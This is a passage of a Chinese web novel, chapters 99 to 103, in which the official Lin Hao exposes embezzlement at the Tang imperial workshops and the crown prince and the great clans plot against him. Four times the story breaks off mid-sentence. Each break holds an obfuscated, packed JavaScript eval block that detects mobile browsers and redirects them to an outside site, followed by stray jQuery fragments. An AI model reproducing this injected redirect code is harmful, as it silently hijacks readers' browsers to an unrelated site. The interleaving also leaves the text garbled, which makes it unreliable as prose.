“同年,采购上等牛皮五百张,市价九十文一张,账面一百二十文。入库时,又称百五十张‘质量不合格’,当场销毁。”
“贞观三年……”
林浩一笔一笔地念着,殿内的气氛也随着这账本在急速变化。
“……林浩!”
李承乾的脸色已经没了血色,他想阻止,却发现自己根本没有开口的理由。
“诸位大人,臣粗略算了一笔账。”
林浩合上账本,目光落在了太子李承乾惨白的脸上,“仅这三年,少府监通过虚报价格、虚报损耗等手段,造成的账面亏空,总计——三十万贯!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391667|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“轰!”
整个太极殿,炸了。
“三十万贯?!”
“天爷啊!大唐一年军费才多少!”
“这哪里是贪腐,这是在挖大唐的根啊!”
“岂有此理!”
须发皆张的魏征气得浑身发抖,一步从队列中跨出,“陛下!国之蛀虫,盘踞于内,若不严惩,国法何在!天理何在!”
工部尚闻段纶也是满脸通红,声音都在颤抖:“陛下!三十万贯!这笔钱,足以再为我大唐装备三支玄甲军!三支!”
李承乾双腿一软,几乎站立不住,汗水顺着额角滑下来,滴在了他华贵的朝服上。
“父皇……这……这些都是陈年旧账,和昨日的案子没有关系……”
“没关系?”
林浩发出一声冷笑,他从那堆残骸中,又捡起一块碎片,高高举起。
那块碎片上,有一个被炸得有些模糊,但依旧可以辨认的钢印标记。
“太子殿下,这块炸碎的机括,用的钢料,正是少府监去年账目上‘损耗’掉的那批!请问,一个早就滚蛋的工匠王磐,他是从哪儿弄来的我少府监内部的管制品?”
“这三十万贯的亏空,根本就不是损耗!而是被人监守自盗,挪进了私库!昨天那把**的**,用的就是这些赃物!”
李靖大步上前,一把夺过那块残片,只看了一眼,脸色便难看到了极点。
“不错!这确是少府监武库的钢印!”
“胡说!”王御史还在做最后的挣扎,“林浩!你这是构陷!是血口喷人!”
“构陷?”林浩的声音陡然拔高,“那我倒要请问太子殿下!王磐一介草民,谁给他的胆子私造军国重器?谁给他的钱财购买物料?又是谁,把那张**的图纸,塞到他的手里?!”
“这背后,若是无人撑腰,无人指使,无人想让我林浩死,谁——信?!”
一连串的质问,如**般砸向李承乾。
太子彻底破防了,他惊惶地后退一步,声音都在发颤:“父皇!儿臣以为此案蹊跷!林浩……林浩他刚来几天,怎么可能查清这么多事!这里面一定有诈!”
“嗒。”
龙椅上,李世民敲击扶手的手指,终于停了。
他缓缓抬起头,那双深邃如海的眼睛落在了自己的长子身上。
“承乾。”
“你告诉朕,朕的少府监,到底有没有鬼?”
第100章:**绝路,暗线再浮动
太极殿内,死一般的寂静。
太子李承乾的脸色惨白如纸,汗珠顺着额角滑落,滴在华贵的朝服上,洇开一小片深色。
他张了张嘴,却一个字都吐不出来。
三十万贯的亏空,白纸黑字的账本,还有那些带着少府监钢印的**机残片……
如今人证物证俱在,他根本无力辩驳。
不过......
“父皇……儿臣……儿臣确有监管不力之过……”
李承乾的声音干涩无比,他试图将自己从这摊烂泥里摘出去。
龙椅之上,李世民的脸上看不出喜怒:“监管不力?承乾,你告诉朕,你身边的那个内侍王德海,现在在何处?”
李承乾浑身剧震,最后一丝血色也从脸上褪去。
王德海是他最信任的内侍,这些年来东宫所有见不得光的事,几乎都经了他的手!
昨天出事之后,李承乾自然是第一时间就将他送走了。
“父皇,王德海……前日告假,说是家中有急事,已经……已经出城了……”
“呵。”李世民发出一声意味不明的轻笑,“朕的禁军还没封城,他就提前出城了?他是会卜算,还是畏罪潜逃啊?”
这声笑,比雷霆震怒更让李承承乾恐惧。
他双腿一软,几乎就要跪倒在地。
“传朕旨意。”
李世民终于站起身,一身龙袍在晨光下熠熠生辉,“少府监监丞赵德胜,贪赃枉法,谋害同僚,罪大恶疾!其一应党羽,全部革职下狱,交大理寺严审,秋后问斩,抄没家产以充国库!”
“至于太子……”
“……监管不力,识人不明,致使国库蒙受巨额损失,朝廷栋梁险遭毒手!着削减东宫用度三成,裁撤东宫三寺职权,闭门思过三月!非朕旨意,不得出宫!”
此言一出,**的官员们齐齐松了一口气,但脸色依旧煞白。
削减用度是小,裁撤职权是大!
东宫三寺是太子权力的根基,这一刀,等于是砍掉了李承乾的一条胳膊!
这惩罚,看似没有动摇太子之位,实则狠辣无比!
然而,林浩却在这时,上前一步:“陛下。”
李世民看着他:“林浩,你还有何话说?”
“陛下,惩处已定,臣不敢有异议。”林浩的声音显得异常平静,“只是,这三十万贯的亏空,是无数工匠的血汗,是我大唐将士本该有的精良武备。如今国库空虚,边关未靖,这笔钱,该从何处补上?”
这话问得诛心!
你罚太子闭门思过,那这三十万贯的窟窿,谁来填?难道要让国库和百姓来为太子的过错买单吗?
李承乾猛地抬头,怨毒地盯着林浩。
他没想到,自己都已经被罚到这个地步了,林浩竟然还不肯罢休!
李世民的眼睛眯了起来。
他看着殿下这个年轻人,心中第一次生出了几分欣赏之外的……忌惮。
这小子,不但有鬼神之才,更有杀伐决断的狠心!
大殿之上,再次陷入了诡异的寂静。
许久,李世民缓缓开口:“太子用度,本就出自皇家内帑。这三十万贯的亏空,便由东宫在未来十年内,逐步从其份例中扣除,补齐为止。”
“轰!”
李承乾如遭雷击,眼前一黑,差点栽倒。
十年!未来十年,他的东宫用度,除了被削减的三成,还要再被挖走一大块!这意味着他将无力再去豢养门客、笼络人心!
这比直接杀了他还难受!这是要活生生把他熬死、熬废在太子这个位置上!
“臣,遵旨。”林浩深深一拜,退回原位。
“另外。”李世民的目光转向林浩,声音缓和了许多,“林浩彻查少府监有功,力挽狂澜,擢升为少府监少监,正四品上。赐黄金千两,长安城宅邸一座,以示嘉奖。”
“臣,谢陛下隆恩。”
一场惊心动魄的朝会,终于落下帷幕。
刚走出宫门的林浩,却被一名内侍拦了下来。
“林少监,请留步。”
来的是李世民身边的贴身内侍,他将一个沉甸甸的锦囊递了过来。
“这是陛下私下里给您的。”
林浩接过,入手极沉。
内侍凑到他耳边,用只有两人能听见的声音飞快地说道:“陛下口谕:‘朕知道三十万贯不够,这东西,够你把少府监那群鬼,连根拔起。朕要的,是一个干干净净、能为玄甲军披上新甲的少府监。’”
说完,内侍躬身一礼,快步离去。
林浩站在原地,捏了捏手中的锦囊。
他打开一丝缝隙,一道金色的光芒晃了他的眼。
里面不是黄金,而是一块令牌。
令牌上,雕刻着一条栩栩如生的五爪金龙。
“如朕亲临!”
东宫,承恩殿。
“啪——!”
一个前朝的青花瓷瓶被狠狠掼在地上,碎裂声刺耳无比。
“林浩!林浩!”
李承乾双眼赤红,胸口剧烈起伏,接着又一把扫落桌上所有奏章文书。
“本宫要他死!本宫要他死无葬身之地!”
几名东宫心腹谋士跪在地上,连头都不敢抬。
“殿下息怒!”为首的谋士杜楚客沉声开口,“陛下刚刚下旨,此刻万万不可再轻举妄动!否则,就真的给了魏王他们可乘之机!”
“息怒?你让本宫如何息怒!”李承乾一脚踹翻了身前的紫檀木矮几,“十年!父皇要让本宫用十年去还债!他这是要废了本宫啊!”
“殿下,正因如此,我们才更要忍。”
杜楚客抬起头,“林浩此人,手段酷烈,行事毫无转圜余地。他接管少府监,必然会大刀阔斧地改革,这就会触动无数人的利益。那些被他断了财路的老官吏,那些被他压下去的老工匠,都会成为我们的棋子。”
李承乾的喘息声渐渐平复下来。
“你的意思是……”
“殿下,明着来,我们已经输了。那就玩阴的。”
杜楚客凑近一步,声音压得极低,“他不是要查账吗?那就让他查!我们暗中放出风声,就说林浩为了邀功,逼**王磐,又罗织罪名,构陷监丞赵德胜,是个心狠手辣、踩着同僚尸骨往上爬的酷吏!”
“他不是要改革吗?那就让他改!我们的人就阳奉阴违,故意在关键的军械制造上出纰漏,造出一批次品!到时候,一旦边关战事吃紧,这口黑锅,就得他林浩来背!”
“**,不见得非要用刀。有时候,**和人心,比刀子更锋利。殿下只需在东宫静养,看着他一步步众叛亲离,自取灭亡即可。”
李承乾眼中的疯狂渐渐消失,他缓缓坐下,看着殿外灰沉沉的天空。
“好……就按你说的办。杜楚客,这件事,本宫交给你了。”
“殿下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391668|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放心。”杜楚客躬身一拜,“臣,定让那林浩,死无葬身之地。”
……
少府监,深夜。
林浩提着一盏油灯,和墨顿一起在库房里搜查。经过一整天的努力,他们已经清理出了大量的证据,但林浩总觉得还缺点什么。
“老师,您看这里。”墨顿指着墙角的一处异常,“这块砖的颜色和其他的不一样。”
林浩凑近一看,果然发现了问题。这块砖明显是后来砌上去的,而且砌工很粗糙。
“撬开它。”
墨顿拿起一根铁棍,用力一撬,那块砖就松动了。
紧接着,一个隐藏的密室出现在他们面前。
密室不大,但里面堆满了各种稀有材料——上等的玄铁、千年的紫檀木、还有一些连林浩都叫不出名字的珍贵矿石。
“这些东西……”墨顿倒吸一口凉气,“价值至少十万贯!”
但最引人注目的,不是这些材料,而是放在密室最深处的几卷兽皮卷轴。
林浩小心翼翼地取出一卷,在灯光下慢慢展开。
卷轴上用古老的文字记录着一些奇特的图案和文字,看起来像是某种机关术的设计图。
“老师,这个图腾……”墨顿指着卷轴上的一个神秘符号,“我在家传手稿上见过!”
林浩心中一震。
墨家的传承,天机阁的线索,还有玄机子临死前的话——所有的一切都在这一刻串联起来了。
他仔细研究着卷轴上的内容,发现这些机关术的概念远超当代的技术水平,甚至包含了一些只有现代物理学才能解释的原理。
“这不是普通的机关术。”林浩放下卷轴,“这是天机阁留下的真正宝藏。”
墨顿激动得浑身发抖:“老师,这是不是意味着……”
“意味着我们找到了通往天机阁核心秘密的钥匙。”
林浩站起身,“但现在不是研究这些的时候。马上把这些卷轴转移到皇家科学院,绝对不能让任何人知道。”
第二天一早,林浩发布了少府监的改革措施。
新的采购体系、透明的薪酬制度、还有对年轻工匠的大力提拔——这些措施立刻得到了工匠们的拥护。
“终于有人为我们做主了!”
工匠们的欢呼声响彻云霄,少府监的士气瞬间高涨。
但就在这时,几个**的心腹官员突然出现在账房门口,声称要进行“例行检查”。
“站住!”守门的禁军拦住了他们,“没有林少监的手令,任何人不得进入!”
为首的官员脸色一沉:“大胆!我们奉命检查,你们敢阻拦?”
“奉谁的命?”林浩的声音从身后传来,“太子殿下现在正在闭门思过,哪来的命令?”
几个官员的脸色瞬间变得难看起来。
他们没想到林浩来得这么快,销毁证据的计划彻底泡汤了。
“还是说,你们想趁着夜色,进去烧掉一些不该存在的东西?”
林浩冷笑着走过来,“墨顿,把他们的名字记下来。这些人,日后一并上奏陛下。”
几个官员灰溜溜地离开了。
夜深了,林浩独自坐在官房里,手中拿着那卷神秘的兽皮卷轴。
卷轴上的古老文字在烛光中若隐若现,仿佛在低语着一个古老而危险的秘密。
少府监的“鬼”是抓住了,但更深层的“鬼”才刚刚开始浮出水面。
第101章:这三十万贯,我要连本带利讨回
第101章:这三十万贯,我要连本带利讨回来
少府监内院,夜色如墨。
林浩的官房里,油灯的光晕将墙壁上的人影拉得老长。
桌案上,账册堆积如山,各种清单、单据铺满了整个桌面。
他手里捏着一支炭笔,在一张巨大的麻纸上飞快地勾画着,无数密密麻麻的线条和数字交织在一起,看得人头皮发麻。
“老师,您这是在画什么阵法?”墨顿端着一壶热茶进来,好奇地伸长了脖子。
“钱的阵法。”
林浩头也没抬,笔尖在纸上划过,留下一道清晰的痕迹。
“三十万贯,可不是一笔小数目,不可能凭空消失。它们就像水流,无论怎么绕,总会留下痕迹。”
墨顿放下茶壶,凑过去仔细看那张图。
他发现林浩用不同颜色的炭笔,将少府监的每一笔支出都标记出来,然后像蜘蛛网一样连接起来。
“您看这里。”
林浩的笔尖点在图上一个节点。
“少府监采购精铁,账面价格二十八文一斤。我派人去东西两市打听过了,那会儿最好的精铁,顶天了也就二十二文。”
“多出来的六文钱,去哪了?”
墨顿脑子转得飞快,眼睛瞬间亮了。
“进了供货商的腰包!”
“没错。”林浩又指向另一处,“还有这批牛皮,账面一百二十文一张,市价九十文。这多出来的三十文,又肥了谁的田?”
墨顿越看越心惊,也越看越兴奋。
他天生对数字敏感,这种抽丝剥茧的推理过程,让他全身的血都热了起来。
“老师,我明白了!这些供货商,肯定和少府监里的人串通好了,故意抬高价钱,然后坐地分赃!”
“孺子可教。”
林浩总算放下炭笔,揉了揉发酸的手腕。
“但这还只是皮**。我要知道,这些被吞掉的钱,最后到底流进了谁的口袋。”
墨顿挠了挠头:“这……这可怎么查?”
“从根上查。”
林浩从桌上拿起一沓厚厚的采购单据。
“这些供货商,表面上是不同的商行,你仔细看看他们盖的印章。”
墨顿接过单据,一张一张地仔细比对。
突然,他像是发现了什么新大陆,倒吸一口凉气。
“老师!这些印章的边角都有一个极小的缺口,位置一模一样!篆刻手法,绝对是出自同一人之手!”
“不止。”林浩又递给他另一份卷宗,“我让人去查了这些商行的铺面地址,你猜怎么着?其中三家的掌柜,是亲兄弟!”
墨顿的眼睛瞪得像铜铃。
“这说明什么?”
“说明这些所谓的不同商行,根本就是一伙人换了不同的马甲在唱戏!”
林浩站起身,在房间里踱步。
“他们故意弄出好几家商号,装出互相竞争的样子,实际上就是为了垄断少府监的生意,把价格牢牢攥在自己手里!”
“太黑了!这心都黑透了!”墨顿气得脸都红了。
“更黑的还在后头。”
林浩从怀里掏出一个不起眼的小册子。
“我派人去查了这些商行的底,你猜我发现了什么?”
墨顿紧张地屏住了呼吸。
“这些商行的东家,都不是明面上的那些掌柜。”林浩翻开册子,“真正的主子,是长安城的几大世家!”
“世家?!”墨顿的声音都变了调。
“清河崔氏、范阳卢氏、荥阳郑氏……”
林浩一个一个地念出那些显赫的姓氏,“五姓七望,叫得上名号的,几乎都掺了一脚!”
墨顿感觉自己的脑子嗡嗡作响。
“这……这岂不是说……”
“岂不是说,这些高高在上的世家大族,早就把手伸进了朝廷的钱袋子里!”
林浩的嘴角勾起一抹冷冽的弧度。
“他们这是把国库当成了自家的钱庄,想取多少就取多少!这是在喝我大唐的血!”
房间里安静得可怕,只剩下灯花爆开的轻微声响。
过了许久,墨顿才找回自己的声音,干涩地问:“老师,这些……证据都确凿吗?”
“铁证如山。”
林浩拍了拍桌上那堆小山似的资料。
“人证、物证、账证,环环相扣。就算是告到阎王爷那里,他们也别想抵赖!”
墨顿咽了口唾沫,感觉口干舌燥。
“那……那咱们接下来怎么办?”
“怎么办?”林浩的眼中闪过一道骇人的精光,“当然是让他们连本带利地吐出来!三十万贯,一文都不能少!”
就在这时,门外响起了敲门声。
“进来。”
推门进来的是张铁山,老工匠的脸上带着几分愁容。
“林大人,有件事,我寻思着还是得跟您说一声。”
林浩示意他坐。
“张老,但说无妨。”
“是这么回事。”张铁山搓着手,有些局促,“今天工坊里有几个老师傅托我来问问,他们对您搞的那些新章程,有点想法。”
“什么想法?”
“他们觉得,您推行的新法子,做东西是快了,可咱们祖祖辈辈传下来的老手艺,都快丢干净了。”
张铁山说得小心翼翼,“还有人说,您这是……不敬祖宗。”
林浩的眉头微微皱起:“还有呢?”
“还有……”张铁山的脸色更难看了,“外面有人传闲话,说您为了往上爬,故意罗织罪名,把王磐给逼**,是个踩着同僚尸骨上位的酷吏。”
墨顿“噌”地一下站了起来:“放**屁!颠倒黑白!”
“我知道这是瞎说。”张铁山连忙摆手,“可唾沫星子能淹**啊。现在工坊里人心不稳,我怕……”
“怕什么?”林浩的表情却异常平静。
“怕有人趁机捣乱。”
林浩沉默了片刻,忽然笑了。
“张老,你觉得我该怎么办?”
张铁山愣住了:“这……我一个打铁的,哪懂这个?”
“那我告诉你。”
林浩站起身,声音不大,却字字千钧。
“继续干!不但要干,还要干得更漂亮!”
“那些对新工艺有意见的,可以提,但活儿不能停!老手艺是宝贝,但不能当成不求上进的挡箭牌!”
“至于那些嚼舌根的……”林浩冷哼,“让他们说去!等我把那三十万贯的窟窿填上,用真金白银堵住他们的嘴!”
张铁山被林浩这股气势给镇住了,重重地点了点头:“您说得对!我这就去跟那帮老家伙们说清楚!”
送走张铁山,墨顿忧心忡忡。
“老师,这些流言蜚语,会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391669|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不会对您有影响?”
“影响?”林浩不屑地撇了撇嘴,“墨顿,你记着,干大事的人,从来不怕别人在背后戳脊梁骨。只要陛下信我,只要我手里有牌,其他的,都是屁!”
话音未落,门外再次传来急促的脚步声。
一名禁军推门而入,手持圣旨。
“林少监,陛下口谕,命您立刻入宫!”
林浩和墨顿对视一眼,空气瞬间变得凝重。
“老师……”
“怕什么。”林浩掸了掸衣袍,将那份写满罪证的册子塞进怀里,“该来的,总会来。”
……
太极殿内,李世民独自端**,面沉如水。
“臣林浩,参见陛下。”
“平身。”李世民的声音听不出情绪,“朕听说,你查案又有新进展了?”
林浩心中了然,皇帝的耳目,果然无处不在。
“回陛下,臣不辱使命。”他从怀中掏出那份册子,双手呈上,“关于少府监三十万贯亏空的去向,臣已查明。”
李世民的眼神陡然锐利如刀。
“讲。”
“启奏陛下,这三十万贯,并非简单的贪墨,而是通过一个盘根错节的利益网,最终流入了长安城几大世家的私库!”
“你说什么?!”李世民猛地站起,龙袍下的身躯绷得笔直。
林浩不卑不亢,将调查结果一一道来。
从虚报价格的供货商,到背后操控的世家大族,每一个环节,每一个名字,都说得清清楚楚。
听完之后,李世民的脸色已经阴沉得能滴出水来。
“你是说,五姓七望,都脱不了干系?”
“臣不敢妄言全部,但至少有四家牵涉其中。”
林浩垂首道,“而且,臣发现,这种**结,侵吞国帑之事,由来已久,早已是他们心照不宣的规矩。”
李世民在空旷的大殿中来回踱步,每一步都像是踩在所有人的心上。
“好啊!好一个五姓七望!”
皇帝的声音压抑着滔天的怒火。
“朕的少府监,朕的国库,竟然成了他们予取予求的钱庄!他们这是在挖我大唐的根!”
“陛下,臣以为,此事若只追回赃款,便是治标不治本。”
林浩趁势进言,“世家大族对朝廷的渗透,已如附骨之疽。若不趁此机会连根拔起,后患无穷!”
李世民骤然停步,一双鹰目死死地盯着林浩。
“你想怎么做?”
“臣请旨,以追讨赃款为名,彻查所有涉案商会及其背后的世家!不但要让他们把吞下去的钱加倍吐出来,更要借此机会,斩断他们伸向朝廷的黑手!”
大殿内,顿时陷入了死一般的寂静。
许久,李世民缓缓吐出一口气,重新坐回龙椅。
他从龙案上取来一道空白圣旨,亲笔写下几行字,盖上玉玺。
“这道密旨,允你便宜行事。但林浩,朕把丑话说在前面,此事一旦开弓,便没有回头箭。你,可想清楚了?”
林浩双手接过那道还带着皇帝体温的圣旨,只觉得重若千钧。
他知道,这道圣旨下去,整个长安,乃至整个大唐,都将掀起一场惊涛骇浪。
但他,无所畏惧。
“臣,想清楚了。”
林浩深深一拜,声音无比坚定,“为大唐,臣万死不辞!”
第102章:你们的阴谋,早就在我剧本里!
长安城,深夜。
墨雨蒙蒙的夜色里,一条条消息悄无声息地飞进了各个府邸。
少府监内院,林浩的官房依旧灯火通明。
“老师,《京城快报》的版面已经排好了。”
墨顿手里捧着一沓刚刚印好的样稿,纸墨味还带着热气,“按您说的,没有直接点名,全是旁敲侧击。”
林浩接过样稿,就着灯光快速扫了一遍。
头版头条的标题很醒目:《何以家富?问君此钱何处来》。
整篇文章写得极有技巧,表面上只是在讨论长安城内一些商行的生意经,实际上字里行间全是暗示。
什么“某商行三年暴富,疑有蹊跷”,什么“朝廷采购价格离奇,民间议论纷纷”,看似云淡风轻,实则步步见血。
“不错。”林浩满意地点点头,“就这样,明天一早全城发行。记住,重点是东西两市,还有各大茶楼酒肆。”
墨顿兴奋得脸都红了:“老师,这一招叫什么?”
“叫敲山震虎。”林浩将样稿递还给他,“咱们要让某些人先慌起来,乱了阵脚再说。”
话音刚落,门外传来轻微的脚步声。张铁山推门而入,神色凝重。
“林大人,有情况。”
“说。”
“刚才我去库房查看,发现有几个往日里很少露面的老师傅,今晚居然主动加班干活。”
张铁山压低声音,“而且干的都是些细活,像是在销毁什么东西。”
林浩的手指在桌案上轻点了几下。
“有意思。看来消息传得比我想象的还快。”他站起身,“走,咱们去会会那几位老师傅。”
……
与此同时,长安城内,崔氏府邸。
偌大的书房里,烛火摇曳。
几个须发花白的老者围坐在紫檀木圆桌前,每个人脸上都写着焦虑。
“诸位,情况大家都清楚了。”
为首的崔老爷子声音沙哑,“那个林浩,查账已经查到咱们头上了。”
坐在他对面的卢家家主紧皱眉头:“消息确实吗?”
“千真万确。我在少府监的人亲眼看到,林浩手里有一份商行名单,咱们几家的马甲,全在上面。”
郑家的老太爷重重拍了下桌子:“这个林浩,真是不知天高地厚!区区一个四品小官,也敢动我们的奶酪?”
“现在不是说这个的时候。”崔老爷子摆摆手,“关键是,咱们接下来怎么办?”
房间里陷入了沉默。
这些在长安城呼风唤雨的世家大佬们,第一次感受到了真正的危机感。
他们经营了几十年的利益网络,眼看就要被一个毛头小子给掀翻。
“依我看,得先下手为强。”
卢家主抚摸着花白的胡须,“朝堂上**他,说他结党营私,大兴冤狱。”
“这招有用吗?”有人质疑。
“未必没用。”郑老太爷沉声道,“林浩虽然受宠,但毕竟根基尚浅。咱们几家联手,再加上太子那边的助力,未必不能让皇上重新考虑。”
崔老爷子缓缓点头:“那就这么定了。明天一早,**,**林浩。罪名嘛……就说他为了邀功,滥用职权,冤枉忠良。”
“可是证据……”
“证据?”崔老爷子冷笑,“咱们需要证据吗?道德大旗一举,**一造,就算皇上再信任他,也得考虑考虑民心。”
就在几个老狐狸商量对策的时候,门外响起了急促的敲门声。
“老爷,东宫来人了。”
几人对视一眼,都明白了什么意思。
太子李承乾的心腹谋士杜楚客被请了进来。
这个平日里温文尔雅的中年人,此刻脸色却异常阴沉。
“诸位长者,殿下有话。”杜楚客拱手行礼,“林浩此子,已成心腹大患。若不除之,后患无穷。”
“杜先生的意思是……”
“殿下的意思是,咱们已经是一条船上的人了。”
杜楚客的语气很平静,但字字如刀,“林浩要查的账,可不止少府监一处。工部、兵部、户部……哪个衙门没有咱们的人?一旦他得了势,咱们都得玩完。”
这话说得很直白,也很现实。在场的几个老爷子脸色都变了。
他们突然意识到,这次不是简单的利益之争,而是生死存亡的较量。
“那殿下的意思是……”
“联手。”杜楚客吐出两个字,“殿下已经想好了,明天朝堂上,他会亲自下场,指责林浩目无纲常,不敬长者。诸位只需配合,一起给林浩扣几顶大帽子。”
崔老爷子沉吟片刻:“仅仅是**,怕是不够吧?”
杜楚客嘴角勾起一丝冷笑:“当然不够。殿下还准备了其他手段。比如……让林浩在技术上出点问题。”
“什么意思?”
“很简单。让他造出来的武器,在关键时候出纰漏。到时候,军中将士因为武器不精而败阵,这口锅,他林浩背定了。”
几个老爷子眼睛都亮了。这招确实够狠,釜底抽薪。
“那咱们现在需要做什么?”
“配合。”杜楚客站起身,“还有,把你们在各个衙门的关系都动起来。能拖的拖,能卡的卡,总之不能让林浩的调查继续下去。”
送走杜楚客,几个世家老爷子又商议了一阵,这才各自散去。
夜色更深了,但长安城却没有平静下来。
……
少府监,库房。
林浩带着墨顿和张铁山,悄无声息地潜入了后库。
果然,里面有几个人影在忙碌着。
借着微弱的灯光,林浩看清了他们在做什么——销毁证据。
一个个装着图纸和样品的木箱被搬出来,里面的东西被仔细挑拣,有用的留下,可能成为罪证的,统统投进火炉。
“真是够细心的。”林浩在心里冷笑。
他没有立刻现身,而是耐心地观察着。
很快,他就发现了问题所在。
这几个销毁证据的人,手法极其熟练,显然不是第一次干这种事。
而且他们知道什么该烧什么不该烧,说明对少府监的运作了如指掌。
更关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391670|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
键的是,林浩注意到其中一个人的动作。
那人在销毁某些图纸的时候,会先用小刀刮掉上面的某些标记,然后才投入火中。
这说明什么?说明那些图纸上,有能够追溯到源头的痕迹!
林浩悄悄退出库房,带着两人回到了官房。
“老师,咱们就这么让他们毁证据?”墨顿有些着急。
“毁就毁吧。”林浩出乎意料地平静,“他们越是急着毁,越说明心虚。而且……”
他从桌案下取出一个小木盒,打开一看,里面是一沓绘制精美的图纸。
“我早就料到会有这一手,所以提前让人把关键证据都抄录了一份。他们毁的,都是些无关紧要的东西。”
墨顿佩服得五体投地:“老师,您真是算无遗策!”
“还早着呢。”林浩收起图纸,“明天朝堂上,才是真正的好戏。”
他走到窗前,看着夜色中的长安城。
城里万家灯火,看似祥和,实则暗流涌动。
几大世家连夜密谋,**蠢蠢欲动,而他,就站在这场风暴的中心。
“墨顿,去把咱们的人都叫来。”
林浩转身,声音里带着某种决断,“告诉他们,从明天开始,少府监将有大动作。所有人,都给我打起十二分精神。”
“是!”墨顿兴奋地跑了出去。
不多时,十几个年轻的工匠和管事陆续赶到。
这些人都是林浩这些日子精心培养的心腹,个个忠心耿耿。
“诸位,想必大家都听到了一些风声。”
林浩站在众人面前,语气平和,“有人想要搞垮咱们,有人想要少府监回到以前那种混乱的状态。”
底下的人群中响起愤怒的议论声。
“林大人,您说怎么办,我们听您的!”
“就是!谁敢动少府监,就是跟我们过不去!”
林浩满意地点点头:“很好。既然如此,我就不客气了。从明天开始,所有涉及物料采购、账目管理的岗位,全部重新洗牌。新人顶上,老人靠边。”
“另外,我要你们密切监视库房和工坊的每一个角落。任何可疑的人和事,立刻汇报。”
“最重要的是……”林浩的声音突然变得锐利,“如果有人胆敢在关键时刻给我捅刀子,后果自负。”
张铁山站出来表态:“林大人,我们这些老伙计,跟定您了!”
其他人纷纷附和,声音震天。
送走众人,林浩独自坐在官房里,手里拿着一份刚刚送来的密报。
这是他安排在各个世家府邸的眼线传回来的消息。
崔、卢、郑、王几家的夜间密会,杜楚客的到访,还有那些销毁证据的细节,都被一五一十地记录在案。
“真以为我是三岁小孩?”
林浩将密报收好,嘴角浮现一丝冷笑。
他早就料到对方会有这些动作,所以提前做了布局。
明天朝堂上的**,太子的下场,还有那些所谓的技术陷阱,他都有应对之策。
明天,就是决战的时刻了。
第103章:你拿圣贤书当剑,我拿账本屠神
太极殿。
天光大亮,金殿威严。
但今日的气氛,却比长安城最深的巷子还要阴冷。
数十名御史言官,以国子监祭酒、儒学大家孔颖达为首,齐刷刷地跪在殿前。
他们手里高举着联名上奏的奏疏,那阵仗,不知道的还以为是哪路藩王打到长安城下了。
“陛下!”
孔颖达须发皆张,声音带着文人特有的悲愤与决绝。
“臣等,联名**少府监少监林浩!”
“其一,结党营私,任人唯亲,将少府监变为其一人之私地!”
“其二,私设刑狱,滥用职权,对朝廷工匠威逼利诱,手段酷烈!”
“其三,扰乱朝纲,以格物之歪理邪说,行商贾之卑劣手段,坏我大唐官场风气!”
……
老头子一口气,罗列了足足十大罪状。
每一条都扣得死死的,字字诛心。
跟在他身后的世家官员们,一个个捶胸顿足,痛心疾首,演技要是放到后世,个个都是影帝级别的。
“陛下啊!林浩此子,所用之法,过于阴狠!此乃乱世之术,非治国之道啊!”
孔颖达越说越激动,唾沫星子横飞。
“臣甚至怀疑,他就是当年被朝廷剿灭的墨家余孽!妄图用那些奇技淫巧,来动摇我儒家立国之本!”
好家伙,连“墨家余孽”这种陈年老帽都扣上来了。
队列之中,太子李承乾轻轻咳嗽了一声,慢悠悠地站了出来。
他脸上挂着恰到好处的忧虑,对着龙椅躬身。
“父皇,儿臣以为,孔祭酒所言,虽有激烈之处,却也是一片赤诚之心。林少监年轻有为,但行事……确实有些急功近利,恐有野心勃勃之嫌啊。”
他这话,明着是各打五十大板,实则句句都在给林浩上眼药。
“放屁!”
一声暴喝,从武将队列中炸响。
兵部尚书李靖铁青着脸站了出来,虎目圆瞪。
“林浩改良神机连**,让我大唐军士战力倍增!他整顿少府监,是为了给将士们打造最精良的铠甲兵器!这叫野心勃勃?我看,说这话的人才是狼子野心!”
